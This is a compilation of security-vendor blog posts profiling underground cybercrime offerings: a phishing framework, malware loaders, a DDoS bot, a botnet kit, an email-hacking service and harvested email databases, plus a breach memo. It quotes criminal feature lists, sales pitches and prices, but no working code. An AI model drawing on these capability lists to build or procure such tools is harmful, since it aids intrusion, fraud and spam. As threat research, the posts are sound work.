From **managed spamming** services allowing the **free distribution** of phishing emails, to **DIY phishing kits** , and **phishing templates** , to the **quality assurance processes** applied to ensure that a phishing email will bypass the anti-spam filters of a particular company, or Web-based email service provider, phishers have everything they need at their disposal, as a managed service.

Some of **Ninja V0.4 Social Engineering Phishing Framework's** features include:

[+] edited tables names
[+] added xss stealer module
[+] now you got control of ip_capture module auto direction check out config.php
[+] new module_lib functions
[+] fixed install.php bug
[+] new logo banner
[+] added new phishing page facebook.login.php
[+] added search module to search in the database
[+] more security stuff
[+] added php.ini

[+] edited install.php file
[+] fixed some securityholes in database_connect.php
[+] fixed xp_sp3_all.php bug
[+] new style for exploit module
[+] added new public browsers exploits
[+] more iframes
[+] new phishing pages hotfile,xboxlive
[+] added country table for ip_capture_module and phishing_module

Screenshots of **Ninja V0.4 Social Engineering Phishing Framework's** command and control interface:

The Phishing Framework comes with built-in support and phishing pages targeting MSN, Yahoo, Gmail, YouTube, Facebook Home, Facebook Login, and Twitter. It also supports XSS, in a similar fashion like a previously profiled **Web Email Exploitation Kit** relying on passive and active XSS vulnerabilities within major Russian email providers.

The Phishing Framework has support for embedded javascript exploits, next to a built-in cookie stealer, capable of reproducing entire login sessions of the affected victims.

Webroot's Security Team is currently in a process of of analyzing the Phishing Framework, in order to ensure that **Webroot SecureAnywhere** customers are protected from the phishing campaigns that can be launched using it.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside the Umbra malware loader - Webroot Blog

facebook linkedin twitter

The thriving cybercrime underground marketplace has a lot to offer. From **DIY botnet builders** , **DIY DDoS platforms** , to **platforms for executing clickjacking and likejacking** campaigns, next to**drive-by malware attacks** , the ecosystem is always a step ahead of the industry established to fight back.

Continuing the "A peek inside…" series, in this post I will profile yet another freely available DIY Botnet building tool – the Umbra Malware Loader.

Screenshots of Umbra Malware Loader's command and control interface:

Some of its core features include:

Changelog:
[+] Webpanel-Layout
[+] Installs
[+] Bots
[+] Builder with Plugin support
[+] Webpanel-Autoinstaller[*] Unicode-compatible
[-] Plugincommand (use Builder/update function for plugins)

What's particularly interesting about the Umbra Malware Loader is its **modular nature** , namely malicious attackers can easily introduce new features while using some of the already coded plugins, next to the ones offered as a managed service.

Today's modern malware is released in DIY fashion; it's highly customizable, it's localized in multiple languages, it comes with detailed instructions and HOWTO's, and most importantly **additional features** including coding a new one from scratch, are available as a **managed service.**

Webroot's security team is currently in a process of analyzing the Umbra Malware Loader. Details will be posted as soon as new data is gathered.

Related posts:

A peek inside the PickPocket Botnet A peek inside the Cythosia v2 DDoS Bot Inside a clickjacking/likejacking scam distribution platform for Facebook Inside AnonJDB – a Java based malware distribution platforms for drive-by downloads

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

How malware authors evade antivirus detection - Webroot Blog

facebook linkedin twitter

Aiming to **ensure that their malware doesn’t end up** in the hands of vendors and researchers, cybercriminals are actively experimenting with different **quality assurance processes** whose objective is to increase the probability of their campaigns successfully propagating in the wild without detection.

Some of these techniques include **multiple offline antivirus scanning interfaces** offering the cybercriminal a guarantee that their malicious program would remain undetected, before they launch their malicious campaign in the wild.

In the wild since 2006, **Kim’s Multiple Antivirus Scanner** is still actively used among cybercriminals wanting to ensure that their malicious software is pre-scanned against the signature-based scanning techniques offered by multile antivirus vendors.

Let’s review Kim’s Multiple Antivirus Scanner, and discuss when it’s an important tool in the arsenal of the malicious cybercriminal spreading malware for profit.

Screenshots of the Kim’s Multiple Antivirus Scanner interface:

It currently supports the following AV Engines:

Asquared
Avast
AVG
Avira
BitDefender
ClamWin
Dr. Web
eTrust
FProt
Ikarus
KAV

McAfee
NOD32
Norman
Norton
Panda
TrendMicro
Quick Heal
Solo
Sophos
VBA32
VirusBuster

Webroot SecureAnywhere isn 't included in the package. Thankfully, using tools like Kim's Multiple Antivirus Scanner doesn't take into consideration multiple layered protection strategies introduced in popular applications such as, for instance, **Webroot SecureAnywhere** , namely behaviour-based blocking techniques that are **signature-independent** .

What's worth pointing out that is how cybercriminals have managed to build this application around pirated versions of the included antivirus scanners. Kim's Multiple Antivirus scanner can easily change the sensitivity of the heuristic engines build within the antivirus software, whereas the primary goal is to pre-scan a malicious binary using the most recently updated database of all vendors, in order to ensure that it will bypass signatures based scanning.

Piracy on the other hand plays a crucial role in the dissemination of malware . Multiple **reports are confirming** that despite Microsoft's efforts to **minimize the AutRun infections growth rate** by issuing a special patch for the purpose, millions of end and corporate users continue browsing the Web, using pirated Windows versions, preventing the installations of critical updates thanks the **Windows Genuine Advantage wall** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Inside AnonJDB - a Java based malware distribution platforms for drive-by downloads - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

With the even decreasing prices of underground tools and services, thanks to the commoditization of these very same market items, the price for renting a botnet, or purchasing access to already infected hosts, is constantly decreasing.

Although the majority of cybercriminals are actively exploiting end and corporate users while using client-side vulnerabilities in outdated third-party applications and browser plugins, there's a separate branch of cybercriminals who specialize in delivering their payload using nothing else but good old fashioned social engineering attacks.

Following my previous post **Inside a clickjacking/likejacking scam distribution platform for Facebook** , in this post I will profile AnonJDB – a Java based malware distribution platform for drive-by downloads.

What exactly is AnonJDB?

Some of its features include:

Polymorphic HTML Code Infection Page Encryption
Custom Applet Names, Very Simple to Change
Polymorphic 100% FUD Jar File
Polymorphic iFrame Generator
Polymorphic Spreading File Generator
(Optional) Dual Infection Via Adobe Flash Update
Hosted by Our Systems
Website Cloner
Guaranteed 100% FUD Jar File
URL Redirection
Set File Name to Save As
Download File From an Alternate Web Server

Choose Storage Directory Ex: %APPDATA%
Statistics Page

A peek inside AnonJDB's command and control interface:

Package prices for AnonJDB:

$10.00 USD – 1 Month
$20.00 USD – 3 Month
$35.00 USD – 6 Month
$50.00 USD – 1 Year

What's particularly interesting about AnonJDB is its easy-to-manage command and control interface, and the fact that the cybercriminals are offering Dual Infection Via Adobe Flash Update, similar to the fake Adobe Flash Player screen profiled in my previous post **Inside a clickjacking/likejacking scam distribution platform for Facebook** .

In the past, malicious attackers used to rely on **compromised FTP accounts** for **embedding of malicious iFrames** within the compromised domains. Nowadays, the service is outsourced to a vendor offering managed hosting services for the entire platform, including the supply of fully undetected malicious Java applets and executable binaries.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Zappos.com hacked, 24 million users affected - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

According to an **internal memo issued by Zappos** , the shoe-and-apparel-selling division of Amazon has been breached by unknown cyber attackers, leading to the compromised accounts of over 24 million users.

The company has indicated that names, email addresses, mailing addresses, and the last four digits of customer's credit card numbers have been compromised.

More info on the attack, including a **copy of the internal memo** :

Dear Zappos Employees –

Please set aside 20 minutes to carefully read this entire email.

We were recently the victim of a cyber attack by a criminal who gained access to parts of our internal network and systems through one of our servers in Kentucky. We are cooperating with law enforcement to undergo an exhaustive investigation.

Because of the nature of the investigation, the information in this email is being sent a bit more formally, and unfortunately we are not able to provide any more details about specifics of the attack beyond what is in this email and the link at the end of this email, but we can say that THE DATABASE THAT STORES OUR CUSTOMERS' CRITICAL CREDIT CARD AND OTHER PAYMENT DATA WAS NOT AFFECTED OR ACCESSED.

The most important focus for us right now is the safety and security of our customers' information. Within the next hour, we will begin the process of notifying the 24+ million customer accounts in our database about the incident and help step them through the process of choosing a new password for their accounts. (We've already reset and expired their existing passwords.)

Here is the email that our customers will be receiving:

Subject: Information on the Zappos.com site – please create a new password

First, the bad news:

We are writing to let you know that there may have been illegal and unauthorized access to some of your customer account information on Zappos.com, including one or more of the following: your name, e-mail address, billing and shipping addresses, phone number, the last four digits of your credit card number (the standard information you find on receipts), and/or your cryptographically scrambled password (but not your actual password).

THE BETTER NEWS:

The database that stores your critical credit card and other payment data was NOT affected or accessed.

SECURITY PRECAUTIONS:

For your protection and to prevent unauthorized access, we have expired and reset your password so you can create a new password. Please follow the instructions below to create a new password.

We also recommend that you change your password on any other web site where you use the same or a similar password. As always, please remember that Zappos.com will never ask you for personal or account information in an e-mail. Please exercise caution if you receive any emails or phone calls that ask for personal information or direct you to a web site where you are asked to provide personal information.

PLEASE CREATE A NEW PASSWORD:

We have expired and reset your password so you can create a new password.

Please create a new password by visiting Zappos.com and clicking on the “Create a New Password” link in the upper right corner of the web site and follow the steps from there.

We sincerely apologize for any inconvenience this may cause. If you have any additional questions about this process, please email us at passwordchange@zappos.com

---

We have also created a web page that we will continue to update as we learn more about what questions customers have:

http://www.zappos.com/passwordchange

In order to service as many customer inquiries as possible, we will be asking all employees at our headquarters, regardless of department, to help with assisting customers. Due to the volume of inquiries we are expecting, we realized that we could serve the most customers by answering their questions by email. We have made the hard decision to temporarily turn off our phones and direct customers to contact us by email because our phone systems simply aren’t capable of handling so much volume. (If 5% of our customers call, that would be over 1 million phone calls, most of which would not even make it into our phone system in the first place.)

We’ve spent over 12 years building our reputation, brand, and trust with our customers. It’s painful to see us take so many steps back due to a single incident. I suppose the one saving grace is that the database that stores our customers’ critical credit card and other payment data was not affected or accessed.

Over the next day or so, we will be training everyone on the specifics of how to best help our customers through their password change process now that their passwords have been reset and expired. We need all hands on deck to help get through this.

Thanks everyone.

-Tony Hsieh
CEO – Zappos.com

The good news? According to Zappos, the database that stores critical credit card and other payment data was NOT affected or accessed.

Zappos.com users are advised to be extra cautions for a potential upcoming wave of spear phishing emails targeting their email accounts, now that malicious attackers have obtained names, mailing addresses and email accounts. Malicious attackers often take advantage of such data breaches, and later on launch event-based social engineering attacks using the stolen data.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Inside a clickjacking/likejacking scam distribution platform for Facebook - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

How would you convert Facebook users into slaves participating in clickjacking and likejackings scams, next to using them to spamvertise your latest event promotion message?

Presumably by using one of the **clickjacking/likejacking** distribution platforms promising 100 slaves per day that I will profile in this post.

The so called "Spreading System" is currently advertised as selected cybercrime-friendly communities, and is offered for sale for the price of $34, including support and managed crypting service for the malicious executables. Moreover, it also offers guaranteed bots, fully undetected bot binaries, a lifetime host, and hundreds of Facebook fans.

It's being advertised as:

Spreading system its used to spread your viruses fully viral. Many members ask me how many slaves do I get with this, let me tell you guys you can get houndreds of slaves if you spread in the right away. After you purchase you get the script to install on your hosting account, or I can host it on my servers, see the packages. This involves Facebook spreading, the biggest social website, olso if you chose the ADVANCED PAKAGE you get 2000 clicks for your website.

Templates for the spreading mechanism include a bogus "New Facebook Timeline profile" video:

next to a fake Adobe Flash Player update screen:

With **clickjacking** and **likejacking** scams proliferating across the most popular social networking site Facebook, malicious attackers are constantly looking for new ways to scam Facebook's user base. On the majority of occasions, they monetize their campaigns by displaying additional ads, and forwarding users to paid surveys. What's particularly dangerous about the "Spreading System" is that is involves the spreading of executable files, to further disseminate the campaign across the social networking site.

Monitoring of the service is ongoing. Updates will be posted as soon as they update their cybercrime underground market proposition.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside the Cythosia v2 DDoS Bot - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

With **DDoS extortion** and **DDoS for hire** attacks **proliferating** , next to the **ever decreasing price for renting a botnet** , it shouldn't come as a surprise that cybercriminals are constantly experimenting with new DDoS tools.

In this post, I'll profile a newly released DDoS bot, namely v2 of the Cythosia DDoS bot.

The Cythosia DDoS bot is available for a free download at selected cybercrime-friendly online communities.

Some of its core features include:

# Runs on Win2k – Win7 / x86 and x64

~ Limited/Guest/Administrator Acconts

# Various Autostart Names and Entries

– **Main Functions:**

+ Download & Execute
+ Update

– **Distributed Denial of Service Functions**

+ Syn
~ 20 Bots can kill little Sites
~ Customizeable Port & Strength(Http, Sql, Gameserver)
+ UDP
~ Perform attacks on homeconnections
~ Highly customizeable
+ HTTP
~ Multithreaded GET Requests – Generates Traffic as hell
~ Keeps GET Requests open

– **Socks5 Proxy**

+ Opens Port with UPnP if router supports it
+ Redirects all TCP requests multithreaded -> very good speed
+ Configureable Username and Password

– **Control Panel**

+ Nice looking Ajax Panel
+ Hardcoded Password -> secure
+ Taskmanagement System
+ Export Online SOCKS5 LIST

The DDoS bot supports SYN flooding, UDP flooding and HTTP flooding, and is highly customizable.

What's particularly interesting is its support for Socks5 Proxies. These very same proxies will eventually be converted into **anonymity services** allowing cybercriminals the opportunity to mask their online activities. Thanks to such DIY DDoS bots such as Cythosia,**the price for anonymizing a cybercriminal's activities** is constantly decreasing, and so is the price for launching a commissioned DDoS attack.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside the PickPocket Botnet - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

Malicious attackers quickly adapt to emerging trends, and therefore constantly produce new malicious releases. One of these recently released underground tools, is the PickPocket Botnet, a web-based command and control interface for controlling a botnet.

Let’s review its core features, and find out just how easy it is to purchase it within the cybercrime ecosystem.

As you can see in the attached screenshot, the seller of the PickPocket Botnet has managed to infect 388 hosts, with 12 of them currently online. What are some of the core features of the botnet kit?

Translated cybercrime underground market proposition:

-Formgrabber :
*IE 8/9
*FF 3/4.
-RDP (reverse connection).
-FTP Viewer , can browse files on PC.
-DDOS
-Download & Execute
-Donload File
-CMD , send cmd command to bot’s
-Socks5
-Visit webpage (hidden)
-Visit webpage non-hiden
-Spread USB/Emails
-Kill AV’s (windows xp ,2003 , 2000 – only)
-Spam (Find emails on bot PC and spam them)

UPDATE :

* IRC -(BotNet works with HTTP panel + IRC as backup)
* DDOS -(New method off ddos , powerful)
* Spread Addet : P2P spread + Spreader on all users

Price : 200LR = 3 months hosting + Setup + FUD (with no RDP Conection)
Price : 300LR = 3 months hosting + Setup + FUD (RDP Conection)

PickPocket bots have DDoS functionality, and spread over email and AutoRun. Updated versions of the bot also spread over P2P, with the botnet master adding additional functionality to the botnet on a periodic basis. Moreover, the bot is capable of killing antivirus software on Windows XP, 2003 and 2000, next to **harvesting email addresses** from the infected PC, and then spamming them.

The botnet master is facilitating sales using Liberty Reserve and is offering a managed service with 3 months of hosting for the command and control infrastructure of the botnet.

Just how prevalent are bots using AutoRun as a core spreading mechanism? In February 2011, **Microsoft disabled AutoRun on Windows XP and Windows Vista** machines, resulting in a **significant decline in AutoRun infections** . Although one of the other spreading mechanisms of the PickPocket Botnet is clearly outdated, the other are in tact with the modern threat landscape, the propagation over email and P2P in particular.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Mass SQL injection attack affects over 200,000 URLs - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

Security researchers from the **Internet Storm Center** , have intercepted a currently ongoing SQL injection attack, that has already affected over 200,000 URLs.

The attack was originally detected in early December, 2011. It currently affects ASP sites and Coldfusion, as well as all versions of MSSQL.

Users that are successfully redirected are exposed to either a fake Adobe Flash page requesting that they update their player, or **scareware also known as fake security software** .

How are malicious attackers successfully SQL injecting legitimate web sites? There are several approaches in their arsenal. For instance, they often use a **search engine's index** in order for them to **detect vulnerable web sites** , using **DIY SQL injecting tools** . The second approach relies on botnets actively crawling inside a search engine's index, once again looking for vulnerable and susceptible to SQL injections web sites.

The most recent **massive SQL injection attack** affected over a million web sites during October, 2011. The attack was directly connected with the **Lizamoon mass SQL injection attacks** **.**

There's no way for you to spot whether a site has been compromised, unless you use Search to look up a particular site for the malicious URL in question, before visiting it. This is where Firefox's NoScript comes into play, preventing the successful loading of the malicious script upon visiting the compromised web site. So use **Firefox's NoScript extension** to prevent SQL injection attacks, as well as numerous other web-based threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Email hacking for hire going mainstream - Webroot Blog

facebook linkedin twitter

by Dancho Danchev

Just how easy is it to hack someone's email nowadays? Very easy as the process is offered as a managed service within the cybercrime ecosystem.

Over the past couple of months, I have been monitoring an increase in managed email hacking services. These services basically offered everyone the ability to claim someone else's email through email hacking performed on behalf of the vendor. **Such services** have been **circulating in the wild** since **early 2008** . Shall we take a peek at their latest market proposition?

Let's profile a managed email hacking service offering to hack Gmail and Yahoo accounts.

The service I'm going to profile is called Vzlom Pochta, which is literally translated as breaking into an email account. The service offers guarantees for prospective customers. For instance, in order for the vendor to confirm that the email has been broken into, they will include a screenshot, copy of the victim's address book, and copies of the email the customer has sent to the victim. Within the cybercrime ecosystem, these services are often pitched as password recovery services, clearly attempting to legalize their practices.

Translated market proposition:

We work with wholesale customers. If you are a regular customer, you also are entitled to a discount. More information about the prices of services and cracking discounts, please see the section PRICES.Ordering hacking email (soaps) with us, you can be 100% confident in the anonymity of hacking mail. We guarantee a ANNONIMNOST your order, and that the victim of cracking the password e-mail will learn nothing and no suspects. More on this page WARRANTIES. Before payment is strongly suggested to read the section on the order of mutual PAYMENT. Finally, if you do not have any additional questions, you can order the break-mail directly from our website using the order form on the Contact Us page.Instead of a conclusion. Yes, it really works. Much to ask of those who "just want to see how to hack e-mail" is not going to pay, to pass by and not make empty orders are not wasting our time wasted. If you placed an order and refuse to pay, we reserve the right to notify the victim hacking mail. We do not work with social networking and dating services and do not carry breaking Classmates and VKontakte. We can only crack the e-mail inbox! That is all I would like to add. We hope for fruitful cooperation.

The prices for hacking the emails are as follows:

Mail.ru, Inbox.ru, List.ru, Bk.ru – 2000 rubles
Yandex.ru – 2500 rubles
Rambler.ru – 2500 rubles
Google.com – 4000 rubles
Yahoo!.com – 8000 rubles

DIY email brute-forcing tools have been around for years, with their modern alternatives coming with built-in CAPTCHA-solving support for the login page, thanks to **vendors offering CAPTCHA solving services** . The overall increase in the availability of such managed email hacking services, is the direct result of **DIY web-based kits exploiting** multiple passive and active XSS vulnerabilities — now patched — within their Web interfaces. That leaves **botnet data mining for stolen passwords** , and plain simple social engineering and spear phishing attacks in the arsenal of the attackers.

Just how easy is it to hack someone's email? Let's just say it used to be way easier than it is for the time being. **Despite the fact** that **end users are choosing** easy to **brute force passwords** , and the fact that their **password resetting questions** are easily guessed, recent product features introduced by Yahoo! Mail and Gmail, make it increasingly harder to hack into someone's email.

In February, 2011, **Gmail introduced two-factor authentication** , followed by **Yahoo! Mail in December 2011** , making in increasingly harder to hack into someone's email.

Monitoring of the service is ongoing. Updates will be posted as soon as they update their underground market proposition.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Millions of harvested emails offered for sale - Webroot Blog

facebook linkedin twitter

What does it take to be a successful spammer in 2012? Access to a botnet, **managed** **spamming** **appliance** , spam templates that are capable of bypassing spam filters, and most importantly freshly **harvested databases** of **valid emails** from multiple email providers.

Let's profile a web-based service currently selling millions of harvested emails to potential spammers, and find out just how easy it is to purchase that kind of data within the cybercrime ecosystem.

Like every successful marketer, spammers too, know the basics of **market segmentation** , and market localization. From vendors of **localization on demand services** , offering spammers to ability to **translate their messages to the native languages** of their prospective recipients, to vendors of segmented email databases, in 2012 spamming is easy to outsource and manage as a service.

The web-service I'm going to profile is called Baza-Inform. Basically, it offers potential spammers segmented databases of harvested emails.

Currently, the service has the following inventory of emails:

mail.ru, bk.ru, list.ru, inbox.ru – 15 970 807
ya.ru, yandex.ru, narod.ru – 3 091 994
rambler.ru, lenta.ru, ro1.ru – 1 636 720
qip.ru, pochta.ru, fromru.com – 1 944 490
nextmail.ru – 185 987
gmail.com, googlemail.com – 8 888 053
yahoo.com, yahoo.us – 36 267 998
hotmail.com – 28 829 391
aol.com – 22 356 273
gmx.com, gmx.de – 12 465 024

Just how easy is it to harvest emails? Like in every other market segment within the cybercrime ecosystem, spammers are quick to adapt to emerging trends aiming to prevent the automatic harvesting of emails. In 2008, I came across an **email harvester** that's capable of harvesting emails in the following formats:

mail@mail.com

mail[at]mail.com

mail[at]mail[dot]com

mail [space]mail [space]com

mail(@)mail.com

mail(a)mail.com

mail AT mail DOT com

Moreover, in 2009 it became evident that **spammers are directly harvesting emails from Twitter users** who share their email details over the micro-blogging service. Clearly, such lists are fairly easy to compile, given the active harvesting on behalf of the spammers. In terms of quality assurance, prospective buyers cannot verify the validity of the database until they purchase it. Once they purchase it, they will use tools such as the **High Speed Verifier** to verify their validity automatically.

Monitoring of the service is ongoing. Details will be published as soon as they update their underground market proposition.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter